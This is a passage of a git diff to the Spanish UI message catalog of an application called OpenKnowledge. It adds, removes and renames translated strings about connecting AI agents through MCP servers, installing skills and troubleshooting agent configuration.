["Suscribirse"],"EDm3wJ": ["Cargando el visor de diferencias"],"EEYbdt": ["Publicar"],@@ -1398,6 +1437,7 @@"EvPX7f": ["Abre un selector de carpetas para elegir dónde clonar el repositorio."],"EvXKHE": ["OpenKnowledge buscó en la base de conocimiento"],"Evq3lu": ["Modo huérfanos"],+ "Evsh6U": ["Tus documentos no se modificarán."],"ExPiRQ": ["Ir al siguiente diagnóstico de análisis de CodeMirror."],"ExUzM4": ["habilidad \"", ["0"], "\""],"F-1xhe": [@@ -1431,7 +1471,6 @@"FEqWFL": ["Guía a tus agentes de IA sobre cómo trabajar aquí."],"FEr96N": ["Tema"],"FF7V5K": ["Tamaño real"],- "FK57sK": ["se reparó la integración MCP de ", ["names"]],"FKVmcC": ["Configuración de este proyecto. Una parte se comparte con cada colaborador mediante git; el resto se aplica solo en este equipo."],@@ -1538,6 +1577,12 @@"Cualquier archivo .mdx. El formato es solo .md, por lo que un lector que busca .md nunca lo abre y, si existe un .md con el mismo nombre, lo lee en su lugar."],"GSYWCm": ["Ocultar el panel del documento"],+ "GTvYzA": [+ ["dependent"],+ " necesita ",+ ["prerequisite"],+ ", que OpenKnowledge no puede configurar por ti. Su guía de configuración tiene los pasos manuales."+ ],"GU1Y4A": ["Se pidió solo local, pero no se creó ningún repositorio de git. Puedes cambiarlo más adelante en Configuración → Sincronización y uso compartido, cuando el proyecto esté en un repositorio de git."],@@ -1615,6 +1660,11 @@],"H86f9p": ["Contraer"],"H8DVOJ": ["Idénticas en ambas: ", ["pick"], " las sigue leyendo."],+ "H8tj8y": [+ "Esta configuración se comparte con ",+ ["peers"],+ ", y OpenKnowledge no puede cambiarla desde aquí. Desvincula primero la carpeta en Skills Studio."+ ],"HAkEqR": ["Archivos recientes"],"HAvHev": ["Actualización automática desactivada para \"", ["name"], "\""],"HAvRAI": [@@ -1637,9 +1687,6 @@"Slidev no está instalado, así que la acción de Slidev permanece oculta. Instálalo y vuelve a esta ventana."],"HSI88F": ["Eliminar tabla"],- "HTW0Zw": [- "Falta un paso: ejecuta <0>claude</0> en este proyecto y aprueba OpenKnowledge una vez."- ],"HZ7fEu": ["Nombre del tema"],"HbcQYf": ["¿Reemplazar el enlace simbólico de ",@@ -1859,6 +1906,7 @@"KPW5WC": ["plantilla movida"],"KQGZuq": ["Se reutiliza si ya existe; si no, se crea."],"KRJ6xh": ["Todavía no hay etiquetas. Sigue escribiendo para crear una."],+ "KTxoDA": ["OpenKnowledge no reconoce esta entrada. Al activarla, se sustituirá."],"KUjOb9": ["en marcha"],"KWL_Ih": ["Entrada de blog"],"KX1MZR": ["Tus repositorios"],@@ -1896,6 +1944,7 @@"KsAPaB": ["Esta rama está extraída en:"],"KtACeE": ["Por defecto: <0>", ["0"], "</0>"],"KujtjC": ["Buscar"],+ "Kuw5NN": ["Cómo configurar ", ["rowLabel"]],"KvwJv8": ["Algunos archivos no aparecen: el árbol de trabajo tiene demasiados cambios."],"Kx881F": ["Se restauró ", ["0"], "."],"L-rMC9": ["Restablecer al valor por defecto"],@@ -1966,7 +2015,6 @@],"LaskKp": ["Enviar al chat (", ["0"], ")"],"Lbl6KA": ["No se pudo instalar desde ", ["0"], ": ", ["1"]],- "LbmLyU": ["No se puede editar con seguridad la configuración de esta herramienta"],"LdABLa": ["No se pudo abrir ", ["target"], ". Prueba a abrirlo manualmente."],"LdKIHS": ["Redactar una especificación"],"LeGeTf": ["OpenKnowledge en GitHub"],@@ -2001,6 +2049,7 @@"Lrsl_h": ["Falta el archivo ", ["identity"], ". Ir a la referencia."],"LtI9AS": ["Propietario"],"LtSYdi": ["Mostrar en el Finder"],+ "LtiJ5c": ["Habilidad del proyecto"],"LuoJWu": [["truncatedShownCount",@@ -2132,9 +2181,6 @@"NIWAux": ["No hay documentos registrados bajo #", ["tagDocsName"], "."],"NJyQi_": ["La rama ", ["shareBranch"], " ya no existe en el remoto."],"NKkZXl": ["Inicializar y abrir"],- "NNJsn7": [- "Falta un paso: actívalo en Cursor → Settings → Tools & MCP (Cursor deja apagados los servidores de proyecto hasta que los enciendes)."- ],"NOHyEE": ["Reintentar el push"],"NORKZU": ["Advertencias del patrón: ", ["summary"]],"NQ8llq": ["Añadir elemento"],@@ -2196,9 +2242,6 @@"O0Z2Xr": ["Salientes"],"O2UpM1": ["Examinar"],"O3oNi5": ["Correo electrónico"],- "O4PnDd": [- "La gestión de herramientas de IA solo está disponible en la aplicación de escritorio de OpenKnowledge."- ],"O6H89R": ["Resuelto"],"O6yEPk": ["Crea un proyecto de OpenKnowledge en la carpeta que elijas."],"O7_W_a": ["Abrir con IA"],@@ -2263,7 +2306,6 @@"OlFVNr": ["Preguntar a la IA sobre la selección"],"Oo_WWc": ["No se encontraron páginas"],"Oos8fo": ["Copiar comando"],- "OplnBG": ["La gestión de herramientas de IA no está disponible en esta compilación."],"OqqecQ": ["30 segundos"],"OsSaYm": ["No se pudo clonar: ", ["title"]],"OuQezS": ["Se aplica cuando retomes esta conversación"],@@ -2291,6 +2333,11 @@"P6gXB-": ["Reemplazar ", ["keyName"]],"P6lAT3": ["Carpeta de destino: ", ["linkTitle"], ". Haz clic para abrir la vista general."],"P8AnMN": ["Buscando Slidev"],+ "P9rQN2": [+ "Las filas de terminal y de escritorio de ",+ ["label"],+ " comparten una misma configuración, así que conectar una conecta ambas."+ ],"PB4upl": ["Buscar la coincidencia anterior"],"PBQwGb": ["Busca archivos, comandos, proyectos y acciones de traspaso a la IA. El atajo K añade un enlace en su lugar cuando hay texto seleccionado en el editor visual; el atajo P siempre abre la paleta de comandos."@@ -2397,6 +2444,7 @@"QDZbvN": ["hace ", ["diffDays"], " d"],"QGWzup": ["Cargando las habilidades de OpenKnowledge"],"QHCx0c": ["Historial de informes de error"],+ "QHcLEN": ["Conectado"],"QIrBIx": ["Expandir todos los archivos"],"QIzioS": [["agentName"], " no acepta adjuntos de imagen."],"QKgePK": [@@ -2474,6 +2522,7 @@"RD6H9q": ["Open Knowledge reescribe estos archivos index.md a medida que cambian los documentos, por lo que se reemplazan las ediciones manuales."],+ "RD8cCw": ["La gestión de conexiones de agentes no está disponible en esta versión."],"RDjuBN": ["Configuración"],"RDrXh4": ["Configura los ajustes de usuario, de proyecto y de integraciones."],"REkvLz": [@@ -2507,6 +2556,7 @@"RSqaSd": ["Raíz del proyecto"],"RVZJWQ": ["Buscar proyectos..."],"RXEbZy": ["En la aplicación"],+ "RXYvxn": ["Esta opción no se puede cambiar automáticamente."],"RY6Bq1": ["Abrir ", ["targetNoun"], " compartido"],"RZXTlY": ["Arreglo automático (", ["count"], ")"],"R_U_A4": ["Añade un patrón de archivo o carpeta, p. ej. guides/**/*"],@@ -2551,6 +2601,9 @@"S33tz3": ["Sin conexión"],"S3qu11": ["Era una prueba o un proyecto puntual"],"S48xcO": ["pendiente"],+ "S6SbxA": [+ "Sustituye la entrada \"open-knowledge\" existente en este archivo. Los demás servidores del archivo no se modifican."+ ],"S6eHlw": ["Abre primero un proyecto."],"S6l5dv": ["No se pudo empezar a crear un elemento nuevo"],"S9Vnum": ["Quitar ", ["patternText"]],@@ -2842,7 +2895,6 @@"VFQXPl": ["La vista previa de enlaces externos muestra una tarjeta con el nombre del sitio, el título de la página y la descripción al pasar el cursor por un enlace."],- "VIwCaD": ["Entrada"],"VJaBca": ["Elige una carpeta de habilidad"],"VL6VsE": ["Aceptar actual"],"VM7H66": ["Este archivo es binario y no se puede mostrar como texto."],@@ -2947,6 +2999,7 @@"W9NSe0": ["Comprobando enlaces"],"W9_Bub": ["Los cambios locales se solapan con la sincronización entrante"],"WBNpt9": ["No se pudo leer este tema (", ["0"], ")"],+ "WEYdDv": ["Recomendado"],"WFEbV1": ["Señala problemas habituales de markdown en el editor. Funciona con <0>markdownlint<1/></0>."],@@ -3020,19 +3073,19 @@"XBBZnv": ["El destino del enlace «", ["shown"], "» no corresponde a un documento existente."],"XBgr2S": ["Copiar aquí"],"XDzAnp": ["Se abre en una pestaña nueva"],- "XEfNPL": [- "Instalado — ok está disponible en terminales externas. Al desmarcarlo, se elimina; tus herramientas de IA seguirán funcionando."- ],"XF1kgP": ["Todo lo de ", ["source"], " ya está actualizado"],- "XFpEgc": [- "Elige qué agentes aparecen en los menús de agentes de la aplicación, como Ask AI, Open with AI y el botón + de nuevo chat. Desactiva un agente para ocultarlo de todos ellos."- ],"XGKy1z": ["No se pudo mostrar la imagen"],"XH30C4": ["documento"],"XIltnd": ["Ya existe aquí una habilidad llamada \"", ["trimmed"], "\""],"XJOV1Y": ["Actividad"],"XK5cbh": ["Avanza por el historial de navegación de OpenKnowledge."],"XNBGZw": ["No se envió el mensaje: ", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " necesita ",+ ["prerequisite"],+ ", y este agente aún no tiene un archivo de ese tipo en este equipo. Ábrelo una vez y vuelve a intentarlo."+ ],"XPJ0sN": ["Propiedades de ", ["settingsDescriptorLabel"]],"XPqe3B": ["Crear la etiqueta nueva #", ["tagValue"]],"XRuL0i": ["Crear página"],@@ -3103,6 +3156,12 @@"Xp7Kq4": ["Hay otra operación de sincronización en curso. Inténtalo de nuevo en un momento."],"Xp94R1": ["Intentar una vez más"],"XpIZmv": ["Bloque de código delimitado con texto monoespaciado."],+ "XrPvMT": [+ ["dependent"],+ " necesita ",+ ["prerequisite"],+ ", y OpenKnowledge no puede reemplazar esa entrada de forma segura en el formato de este archivo."+ ],"Xs1kjx": ["Buscar actualizaciones cada"],"Xs7IcT": ["No se pudo conectar con ", ["displayName"], ". ¿Reintentar?"],"XszXjc": ["Se renombró a ", ["0"]],@@ -3122,6 +3181,7 @@["pickedRelative"],"</1>, porque contiene una carpeta <2>.git</2> (un .ok/ por repositorio de git). El <3>directorio de contenido</3> es <4>.</4> por defecto (todo el repositorio); escribe una subcarpeta para acotarlo."],+ "Y1wa2r": ["¿Quitar OpenKnowledge?"],"Y2tU6I": ["Eliminar ", ["0"]],"Y5la_5": ["Instalar en"],"Y6PKd1": ["Quitar ", ["name"], " de los proyectos recientes"],@@ -3258,9 +3318,6 @@"ZWwYwM": ["Rama base"],"ZWxfrc": ["se borraron las propiedades de la carpeta"],"ZWyHmq": ["Este proyecto"],- "ZYtq3m": [- "Conecta a este proyecto concreto las herramientas de IA que usas. Estos archivos viven en la carpeta del proyecto, así que quien lo abra tendrá la misma configuración."- ],"Z_nNa2": ["Ponle nombre a tu tema"],"ZatAO_": ["No se pudo activar la vista previa de enlaces — ", ["detail"]],"Zf0w-R": [@@ -3311,7 +3368,6 @@["label"]," usa en lugar de la del plugin; deja de seguir las actualizaciones del plugin."],- "_5qBNl": ["Herramientas de IA y CLI"],"_6FVBz": ["Ir a las pestañas 1-8"],"_7UQ7y": ["Palabra completa"],"_8quCH": ["Desde plantilla"],@@ -3324,6 +3380,7 @@["currentLabel"],"</1>."],+ "_9rYSZ": ["se reparó la integración MCP de ", ["names"]],"_Bix3-": ["Apariciones de ", ["localizedFirstMessage"]],"_DwR-n": ["Creando…"],"_G7A92": ["Mantener index.md"],@@ -3335,9 +3392,6 @@"_JOGC0": ["Enviar comentarios…"],"_LczaQ": ["Denegado — ", ["optionName"]],"_NWEid": ["Busca archivos de esquema por ruta"],- "_NX6gG": [- "La gestión de herramientas de IA del proyecto no está disponible en esta compilación."- ],"_O7dJS": ["Aquí hay otra versión: haz clic para compararla y resolverla"],"_PACVa": ["Notas de la versión"],"_PBJRl": ["Añade al menos una letra o un número."],@@ -3373,6 +3427,9 @@"_ci9Bj": ["El servidor devolvió una respuesta de carpeta incompleta."],"_eguJc": ["Subiendo"],"_fQGOp": ["No se permiten espacios en la ruta"],+ "_fZSIY": [+ "OpenKnowledge no modificó este archivo porque no pudo analizarlo de forma segura. Corrige el archivo a mano y vuelve a intentarlo."+ ],"_gO_m8": ["Esperando tu aprobación"],"_gkGSK": ["plantilla eliminada"],"_pY_Vq": ["El repositorio se movió, se renombró o se eliminó."],@@ -3380,6 +3437,7 @@"_rP3HI": ["hace ", ["minutes"], " min"],"_tekeB": ["se actualizaron las propiedades de la carpeta"],"_tjopj": ["Pegar duplicado"],+ "_uxBz5": ["Añadir MCP y habilidad para ", ["rowLabel"]],"_yB-24": ["todo lo que hay en cualquier carpeta ", ["0"], "/"],"a-cKXz": ["Seleccionar todo el código"],"a3LDKx": ["Seguridad"],@@ -3514,6 +3572,7 @@"\" antes de reconectar."],"bnOTEz": ["Recuperando…"],+ "bn_MDX": ["Por qué esto requiere atención"],"bpMVIA": ["El destino del enlace «",["shown"],@@ -3658,6 +3717,9 @@["chars", "plural", { "one": ["carácter"], "many": ["caracteres"], "other": ["caracteres"] }]],"d6qW27": [["agentName"], " informa: ", ["headline"]],+ "dCforW": [+ "No se pudo escribir este archivo. Consulta el registro de OpenKnowledge para conocer el motivo."+ ],"dD7NPy": ["Esquema"],"dDpCOp": ["Se renombró correctamente, pero puede que la barra lateral esté desactualizada; actualízala para resincronizar"@@ -3671,6 +3733,7 @@["currentBaseLabel"],"</1>, en su propio worktree dentro de <2>.ok/worktrees/</2>."],+ "dGcsnU": ["Quitar para ambos"],"dIYSqk": ["remoto"],"dJw2_7": ["Guardado con el proyecto para tu equipo."],"dMsx3p": ["Página de inicio y centro de navegación."],@@ -3685,6 +3748,9 @@"dVaXnv": ["Las reglas de contenido aún no se han cargado; inténtalo de nuevo en un momento"],"dXCi3J": ["Algo se rompió"],"dXOolp": ["Sincronizando tus cambios"],+ "da7Yfw": [+ "Esto elimina las entradas del servidor MCP y los archivos de habilidades que se indican abajo. El agente perderá el acceso a tus documentos hasta que vuelvas a añadirlo."+ ],"darW93": [["pageCount",@@ -3805,6 +3871,7 @@}]],+ "ejiJeW": ["Habilidad de descubrimiento de OpenKnowledge"],"ekSPiP": [["0"], " ya se eliminó."],"el2KyL": ["Slidev encontrado en este proyecto. Las presentaciones usarán la versión del proyecto."@@ -3822,6 +3889,7 @@"euc6Ns": ["Duplicar"],"evs0iw": ["Etiquetas que coinciden con \"", ["tagListQuery"], "\""],"ewSbS_": ["Sesión de shell"],+ "ewlFNL": ["Falló la reparación automática de MCP para ", ["failures"]],"ezUmoU": ["Valores de elemento permitidos (vacío = cualquiera)"],"f-k37b": ["Instalar esta habilidad"],"f1-q9m": ["conserva las habilidades"],@@ -3886,6 +3954,23 @@"Los ajustes de aprobación automática aún no se han cargado; inténtalo de nuevo en un momento"],"fo6CCk": ["panel ", ["0"]],+ "followup.approve-once": [+ "Falta un paso: ejecuta ",+ ["agent"],+ " en este proyecto y aprueba OpenKnowledge una vez."+ ],+ "followup.enable-manually": [+ "Falta un paso: actívalo en ",+ ["agent"],+ " → Settings → Tools & MCP (",+ ["agent"],+ " deja apagados los servidores de proyecto hasta que los enciendes)."+ ],+ "followup.trust-gated": [+ "Se conectará automáticamente la próxima vez que abras este proyecto en una sesión de ",+ ["agent"],+ " de confianza."+ ],"fqSfXY": ["Reemplazar"],"ft-BOm": ["Informar de un error…"],"fuJZKk": ["Buscar ramas"],@@ -3893,6 +3978,15 @@"fwhX-N": ["Aumentar o reducir la sangría del código"],"fwrPh4": ["Escribe un correo válido."],"fxbCNQ": ["Sincronizado. El enlace está al día."],+ "fybwfg": [+ "Esta configuración se comparte con ",+ ["peers"],+ " a través de <0>",+ ["path"],+ "</0>. Si la quitas aquí, también se quitará para ",+ ["peers"],+ "."+ ],"g-dkjJ": ["Los detalles de los archivos locales aún no están disponibles."],"g12y1g": ["YAML no válido"],"g1ZTh_": [@@ -3918,9 +4012,6 @@}]],- "g4WlQK": [- "La gestión de herramientas de IA del proyecto solo está disponible en la aplicación de escritorio de OpenKnowledge."- ],"g4XBm0": ["Encabezado de sección pequeño."],"g4e0hS": ["Preguntar a ", ["agentName"]],"g58Kwy": [@@ -3984,6 +4075,7 @@"gfb-CM": ["No se pudo obtener la rama: inicia sesión en GitHub e inténtalo de nuevo."],"gfdqcY": ["No se pudo aplicar el cambio: ", ["0"]],"gfohmY": ["Conectar herramientas"],+ "ggMMa7": ["Servidor MCP del proyecto"],"ggm6JX": ["Esta página todavía no existe. Ábrela para crearla en el editor y contraer el grafo."],@@ -4004,6 +4096,40 @@"gpbKxw": ["La validación de enlaces no está disponible."],"gqk-3R": ["Se movió ", ["0"], " a ", ["destination"], "."],"gtEbeW": ["Resaltado"],+ "guidance.mcp.managed-file": [+ "Escribe un pequeño archivo puente que ",+ ["agent"],+ " carga desde este proyecto para llegar a OpenKnowledge."+ ],+ "guidance.mcp.project-config": [+ "Añade OpenKnowledge a la configuración MCP que ",+ ["agent"],+ " lee en este proyecto, para que pueda leer, buscar y editar estos documentos."+ ],+ "guidance.mcp.session-injection": [+ ["agent"],+ " recibe las herramientas de OpenKnowledge cada vez que OpenKnowledge lo inicia; no se escribe nada en su configuración."+ ],+ "guidance.mcp.user-config": [+ "Añade OpenKnowledge a la configuración MCP propia de ",+ ["agent"],+ ", para que todos los proyectos de este equipo sean accesibles."+ ],+ "guidance.skill.central-store": [+ "Coloca la habilidad de OpenKnowledge en el almacén central de habilidades que lee ",+ ["agent"],+ "."+ ],+ "guidance.skill.project": [+ "Coloca la habilidad de OpenKnowledge en la carpeta de habilidades de ",+ ["agent"],+ " para este proyecto, para que sus ediciones sigan atribuidas."+ ],+ "guidance.skill.user": [+ "Coloca la habilidad de descubrimiento de OpenKnowledge en la carpeta de habilidades global de ",+ ["agent"],+ ", para que pueda encontrar OpenKnowledge en cualquier proyecto."+ ],"gv5w9J": ["propietario/repo, una URL de git o una ruta local"],"gvApb7": ["Convierte lo que lees en artículos claros y fiables. Guarda una fuente, averigua qué significa y conserva la versión final para poder apoyarte en ella más adelante."@@ -4018,6 +4144,14 @@"h06R3C": ["No hay páginas sin enlaces salientes en el grafo."],"h16FyT": ["Listas"],"h2N-1n": ["Instalado en ", ["0"]],+ "h2QPvj": [+ ["dependent"],+ " necesita ",+ ["prerequisite"],+ ", y OpenKnowledge no reconoce esa entrada. Marca ",+ ["prerequisite"],+ " para sustituirla y vuelve a guardar."+ ],"h3QZcB": ["Ya existe una rama llamada ",["shareBranch"],@@ -4135,7 +4269,6 @@"iH8pgl": ["Atrás"],"iHAJDj": ["Resolviendo la ubicación por defecto"],"iIaSUD": ["Espacios en blanco"],- "iKS6gg": ["Las habilidades se movieron a Estudio de habilidades."],"iKSP5j": ["Ajuste de línea"],"iKZkk1": ["Valor de la propiedad"],"iKvAeG": ["Comprobando"],@@ -4190,6 +4323,7 @@"ij-Elv": ["Vista previa de imagen"],"ijLc3m": ["Lista con viñetas"],"ilodsp": ["Dejar que los agentes usen OpenKnowledge sin preguntar"],+ "inJhKB": ["Reemplazar y guardar"],"ioMn4Z": ["Nuevo desde plantilla…"],"iodl3p": ["El servidor devolvió una respuesta de subida con formato incorrecto."],"ipCibE": ["No se permiten nombres de carpeta vacíos (//)"],@@ -4205,6 +4339,7 @@"irnKr_": ["Actualizado ", ["updatedRelative"]],"irrm_E": ["Quitar la selección"],"isRobC": ["Nuevo"],+ "itchkf": ["Conecta el agente con OpenKnowledge en todos los proyectos de este equipo."],"iuTKci": ["Todavía no hay ediciones."],"iv452l": ["Documentación de ", ["0"], " (se abre en el navegador)"],"iycx_A": ["Haciendo push"],@@ -4395,6 +4530,7 @@"kfL8BJ": ["Falló la importación: ", ["0"]],"kj9pAE": ["Creando la página"],"kjlQ9D": ["pasa a ser un enlace simbólico"],+ "kjrq_8": ["Más información"],"kknhfj": ["Sin cambios"],"kkux8f": ["No se pudo eliminar ", ["0"], ". Inténtalo de nuevo."],"klPS-L": ["Archivo original, antes de las ediciones de este agente."],@@ -4452,6 +4588,7 @@"l87Deg": ["Elige qué inicia una pestaña nueva"],"l9s3IX": [["agentName"], " no pudo iniciar una conversación."],"lAiyU_": ["Solo el documento actual usa <0>#", ["tag"], "</0>."],+ "lBN3T6": ["Conexiones de agentes"],"lCC_D5": ["Suscribiendo..."],"lGs_bQ": ["Página <0>*</0>"],"lHCR4I": ["Vacía el campo para volver al endpoint de OpenAI por defecto."],@@ -4551,9 +4688,6 @@"mHo0kp": ["La solicitud para habilitar las herramientas de Open Knowledge caducó. Este hilo funciona sin ellas."],- "mLAjyL": [- "Da a las herramientas de IA que usas acceso para leer y actualizar tus proyectos. Al marcar una casilla se configura al momento; al desmarcarla se quita."- ],"mPoOmg": ["instala primero una habilidad aquí"],"mPy9lS": ["Organiza mis especificaciones existentes en un índice enlazado y agrupado por área, y señala las que se hayan desincronizado del código actual."@@ -4573,6 +4707,7 @@"Todavía no hay patrones. Escribe abajo el nombre de una carpeta o un archivo para empezar a ocultar archivos."],"mdKFEy": ["Cancelaste la carga de \"", ["docName"], "\"."],+ "mdWhUY": ["OpenKnowledge no encontró este agente en este equipo."],"mdzKSV": [["nodeCount",@@ -4645,6 +4780,7 @@"mxY24F": ["Duplica el elemento enfocado del árbol de archivos cuando el foco está en la barra lateral Archivos."],+ "n11Jj7": ["Instala la habilidad de proyecto de OpenKnowledge para este agente."],"n2XqGH": ["panel del editor"],"n2lRue": ["Haz commit o stash de tus cambios para cambiar:"],"n3T3EE": ["Instalado en ", ["label"], ": haz clic para quitarlo"],@@ -4660,9 +4796,6 @@],"n7aopT": ["Modo del editor"],"n81AV0": [["owner"], "/", ["name"], " ya existe. Elige otro nombre."],- "n8DwqQ": [- "Se conectará automáticamente la próxima vez que abras este proyecto en una sesión de Codex de confianza."- ],"nBHvPL": ["Cancelar edición"],"nBgzKO": ["Convertir esto en el origen: la carpeta real de la habilidad se traslada aquí"],"nCzR-G": ["Copiar el código ", ["userCode"]],@@ -4729,6 +4862,9 @@"nsM-_m": ["Explorar cientos de temas"],"nsUDL8": [["0"], " de ", ["1"], " proyectos seleccionados"],"nskygk": ["Elegir agente"],+ "nta97o": [+ "Da al agente instrucciones para trabajar con tus documentos y mantiene sus ediciones atribuidas."+ ],"nwtY4N": ["Algo salió mal"],"nxlOpL": ["OpenKnowledge está usando esta cuenta de GitHub."],"ny6vNn": [@@ -4796,6 +4932,9 @@"\". Recarga para reintentarlo."],"oxdGJn": ["Antes de irte, ¿nos cuentas por qué?"],+ "oxj8er": [+ "Conecta el agente con este proyecto para que pueda leer, buscar y editar tus documentos."+ ],"oy5bJW": ["Puedes añadir"],"oyBV3W": ["Ruta de la carpeta de habilidades personalizada"],"p0Iq25": ["Insertar enlace"],@@ -4881,7 +5020,6 @@["2"],"». Todo lo que apunte a ese archivo en SKILL.md dejará de funcionar hasta que se vuelva a crear."],- "psfGPX": ["Conexiones MCP"],"psl2Sj": ["Tu cambio todavía se está guardando; vuelve a ejecutar la prueba en un momento."],"ptQ3_N": ["desenlazar"],"pvnfJD": ["Oscuro"],@@ -4895,6 +5033,7 @@"q4YJl_": ["La sesión de terminal terminó (código de salida ", ["0"], ")."],"q4efaG": [["filePath"], " ya no está en esta skill"],"q6-JVU": ["Cargando páginas"],+ "q63KUv": ["Añadir MCP y habilidad"],"q7F5am": ["título"],"q8aCbb": ["Dos versiones de \"", ["0"], "\": el origen frente a ", ["editor"]],"qAQVSD": ["La respuesta de los encabezados de página no era JSON"],@@ -4982,10 +5121,12 @@"qlAIQ1": ["Remoto"],"qo4zCg": ["La ruta no puede contener barras invertidas"],"qpQwGC": ["Describe en qué estás trabajando y el agente te lo prepara."],+ "qr2gAH": ["Elige qué configura OpenKnowledge para ", ["0"], "."],"qribBG": ["esquema ", ["deleteTarget"]],"qtnmEX": ["Introduce un nombre de tema válido."],"qvWGzP": ["Contraer todo"],"qyLmWw": ["Panel de búsqueda del editor de código"],+ "qze9od": ["Esta carpeta también es de ", ["alsoAffects"], "."],"r-OJYm": ["Escribe un nombre de rama válido (sin espacios, sin punto inicial, sin \"..\")."],"r2eKE3": ["Inicia sesión primero en ", ["agentName"]],"r4R7AZ": ["Error de red durante la limpieza"],@@ -5083,6 +5224,9 @@"s1c0ja": ["Lista con viñetas"],"s3caR3": ["Eliminando"],"s7us1p": ["Solo se admiten imágenes PNG, JPEG o WebP."],+ "s8difl": [+ "Sin la habilidad el agente sigue funcionando, pero pierde la atribución de las ediciones y la vista previa en vivo."+ ],"sAP9XO": ["Plugin ", ["0"], " · ", ["1"]],"sE7R19": ["No se pudieron cargar las plantillas: ",@@ -5186,6 +5330,9 @@"tA0b9E": ["la carpeta de habilidades por defecto (la ruta exacta aparece al guardar)"],"tA2-xC": ["\"", ["0"], "\" ya se había añadido (contenido idéntico)."],"tAPZEx": ["Abajo"],+ "tCE-ZH": [+ "OpenKnowledge no reconoce esta entrada y no puede sustituirla de forma segura en el formato de este archivo."+ ],"tCyvAw": ["Adjuntar un archivo"],"tHKQ6j": ["Renombrando"],"tKlWWY": ["Emoji"],@@ -5228,6 +5375,53 @@"tnG-m6": ["La sincronización automática está en pausa: inicia sesión para reanudarla."],"toyw51": ["Controles del diagrama de Mermaid"],"tqQBwN": ["Los scripts se muestran para que los revises; nunca se ejecutan."],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " te pide aprobar cada herramienta de OpenKnowledge la primera vez que se usa."+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "Si ",+ ["agent"],+ " no muestra las herramientas de OpenKnowledge, ejecútalo en este proyecto y aprueba el servidor de OpenKnowledge una vez."+ ],+ "troubleshooting.codex.desktop-project-config": [+ "La aplicación de escritorio de ",+ ["agent"],+ " ignora esta configuración de proyecto; solo la CLI de ",+ ["agent"],+ " la lee."+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " lee la configuración MCP del espacio de trabajo que OpenKnowledge escribe para ",+ ["sourceAgent"],+ "; quitarla para uno la quita para ambos."+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "Si ",+ ["agent"],+ " no muestra las herramientas de OpenKnowledge, activa el servidor en Settings → Tools & MCP; ",+ ["agent"],+ " deja apagados los servidores de proyecto hasta que lo hagas."+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "Si ",+ ["agent"],+ " no muestra las herramientas de OpenKnowledge, comprueba que la ruta de su configuración MCP en sus ajustes coincida con el archivo que escribió OpenKnowledge."+ ],+ "troubleshooting.openclaw.central-store-missing": [+ "El almacén central de habilidades de ",+ ["agent"],+ " aún no existe; inicia ",+ ["agent"],+ " una vez para que lo cree y vuelve a intentarlo."+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " solo carga extensiones de proyecto en carpetas en las que has confiado; confía en esta carpeta en ",+ ["agent"],+ " si las herramientas no aparecen."+ ],"tsiTqO": ["Pega tu clave de API"],"tvMvze": ["No se pudo mover \\\"",@@ -5290,6 +5484,7 @@"uUCrBv": ["enlace simbólico"],"uV3EYs": ["Tus imágenes"],"uVbUP8": ["Ajustes…"],+ "uVhq9B": ["Instala la habilidad de descubrimiento de OpenKnowledge para este agente."],"uX85yl": ["Los archivos de configuración incluyen: <0>.ok/</0>, las configuraciones MCP de las herramientas de IA (<1>.mcp.json</1> y los archivos de cada herramienta). Tus habilidades no están incluidas: siguen a git como cualquier otro archivo del proyecto.<2/><3>Compartido</3> los guarda en git, así que quien clone el repositorio tendrá la misma configuración. <4/><5>Solo yo</5> los mantiene fuera de git (mediante <6>.git/info/exclude</6>)."],@@ -5449,6 +5644,13 @@"vy_VIN": ["Seguido en git: las actualizaciones llegan por tu repositorio (pull o CI), no por actualización automática"],+ "vyjTYE": [+ [+ "changeCount",+ "plural",+ { "one": ["#", " cambio"], "many": ["#", " cambios"], "other": ["#", " cambios"] }+ ]+ ],"w0YVAE": ["Mostrar los nodos de habilidades"],"w3tVpc": ["Todavía no hay enlaces. Añade enlaces wiki o enlaces markdown para construir un grafo."@@ -5488,6 +5690,7 @@"wQp1V3": ["Espejo de <0>", ["src"], "</0>"],"wQvvZY": ["Archivo de habilidad nuevo"],"wRni1Z": ["Desactivar Slidev"],+ "wSBXaS": ["Gestionar ", ["rowLabel"]],"wT4iQr": ["Abre la búsqueda del editor visual con los controles de reemplazo desplegados."],"wTcjov": ["Sin espacio de trabajo"],"wU8WyK": ["Campos del elemento"],@@ -5513,7 +5716,9 @@"wdxz7K": ["Código"],"wdzBgi": ["Compartir configuración ahora está en Solo yo."],"weP6me": ["No se pudieron cargar los documentos: escribe @ otra vez para reintentarlo"],+ "wfZwqe": ["Instalar ", ["rowLabel"]],"wgNoIs": ["Seleccionar todo"],+ "wgj--j": ["Añade una entrada MCP de OpenKnowledge global para este agente."],"wk_v1X": ["La sincronización de este worktree está en Automático (Pull y Push), heredada de ",["project"],@@ -5670,7 +5875,6 @@],"y_5CE8": ["Elemento ", ["0"]],"y_K0Dz": ["¿Qué pasó?"],- "yaPGPa": ["Abre un proyecto para gestionar sus conexiones con herramientas de IA."],"ybPMz3": ["No se pudo fijar ", ["name"]],"ycIX5i": ["Has cerrado sesión: inicia sesión para reanudar la sincronización."],"yckias": ["Renombrar el archivo"],@@ -5693,9 +5897,6 @@["source"],"</0>: los agentes que se ejecutan aquí no pueden cargarlo. Cópialo aquí para editarlo."],- "yhdqox": [- "Instalado: ok está disponible en terminales externas. Al desmarcarlo se quita; la terminal integrada y las herramientas de IA de OpenKnowledge siguen funcionando."- ],"yhy5h-": ["Ver las ", ["count"], " habilidades"],"yit5dF": ["Aún no hay carpetas en este proyecto."],"yjExfe": ["La rama <0>", ["shareBranch"], "</0> está activa en:"],@@ -5708,7 +5909,6 @@"yvG-l1": ["Abrir el panel de análisis del código"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["Deja de arreglar. Los archivos ya arreglados se quedan como están."],- "ywVfOE": ["La habilidad de este proyecto se movió a Estudio de habilidades."],"yxF19Y": [["0",diff --git a/packages/app/src/locales/es/messages.po b/packages/app/src/locales/es/messages.poindex a7bbcb34c..159fc4f2c 100644--- a/packages/app/src/locales/es/messages.po+++ b/packages/app/src/locales/es/messages.po@@ 